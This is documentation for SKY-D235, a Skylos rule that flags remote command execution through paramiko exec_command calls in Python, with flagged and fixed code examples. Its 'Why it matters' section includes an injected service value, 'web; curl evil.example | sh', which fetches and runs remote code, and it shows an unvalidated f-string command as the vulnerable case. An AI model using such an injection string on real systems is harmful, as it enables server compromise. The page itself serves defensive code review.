SKY-D235 · Security in code
Remote command execution over SSH
exec_command() on an SSH client such as paramiko's SSHClient runs a command string through the login shell of another machine. SKY-D235 marks every such call for review, whatever its argument, because the command runs with the remote account's rights.
- Languages
- Python
- Quality gate
- counted toward the gate limits (full and diff scans)
- Finding type
- review
- Catalog name
- Remote command execution sink
Why it matters
Deploy and admin scripts often hold SSH keys for production servers. If any part of the command string can be influenced, for example a service name typed into a chat bot, web; curl evil.example | sh runs on every server the script reaches.
What Skylos flags
import paramiko def restart_service(host, service): client = paramiko.SSHClient() client.load_system_host_keys() client.connect(host, username="deploy") _, stdout, _ = client.exec_command(f"sudo systemctl restart {service}") status = stdout.channel.recv_exit_status() client.close() return statusWhat Skylos leaves alone
import paramiko def fetch_log(host, local_path): client = paramiko.SSHClient() client.load_system_host_keys() client.connect(host, username="deploy") sftp = client.open_sftp() sftp.get("/var/log/app/app.log", local_path) sftp.close() client.close()Why Skylos leaves it alone
The same SSH connection is used, but only to copy a file over SFTP. No command string is sent to a remote shell, so there is nothing for this rule to review.
How Skylos decides
- Resolves each call's name through imports and earlier assignments, so
client = paramiko.SSHClient()followed byclient.exec_command(...)becomesparamiko.SSHClient.exec_command. - Reports HIGH for every call whose name ends in
.exec_command, on any receiver, with a fixed or a built command alike. The rule is a review marker for remote command execution, not a taint check. - The taint check for the same call is SKY-D212: it reports CRITICAL when request data,
input()or a function parameter reaches the command string.
How to fix it
Run only commands from a fixed list, check every value against an allowlist, and quote the command with shlex.join(). The call is still reported, because the rule marks every remote command, so record the review on the line once it is safe.
Added: import shlexAdded: import paramiko Added: SERVICES = {"web", "worker"} Added: def restart_service(host, service):Added: if service not in SERVICES:Added: raise ValueError(f"unknown service: {service}") client = paramiko.SSHClient() client.load_system_host_keys() client.connect(host, username="deploy")Removed: _, stdout, _ = client.exec_command(f"sudo systemctl restart {service}")Removed: status = stdout.channel.recv_exit_status()Added: cmd = shlex.join(["sudo", "systemctl", "restart", service])Added: _, out, _ = client.exec_command(cmd) # skylos: ignore[SKY-D235] allowlistedAdded: status = out.channel.recv_exit_status() client.close() return statusWhen it can be wrong
- A fixed command such as
client.exec_command("uptime")is reported too: the rule does not look at the argument. - Any method named
exec_commandon a non-SSH object, such as a project's own job runner, is reported. - The same line often also gets SKY-D212 when a parameter or request value reaches the command. That is a separate finding.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
Mark a reviewed call on its own line and say why it is safe. A bare
# noqadoes not hide HIGH security findings.Python _, out, _ = client.exec_command("uptime") # skylos: ignore[SKY-D235] fixed commandAccept the findings you already have with
skylos baseline ., then scan with--baselineso only new ones are listed.[tool.skylos] ignore = ["SKY-D235"]turns the rule off for the whole project. SKY-D212 still reports tainted commands.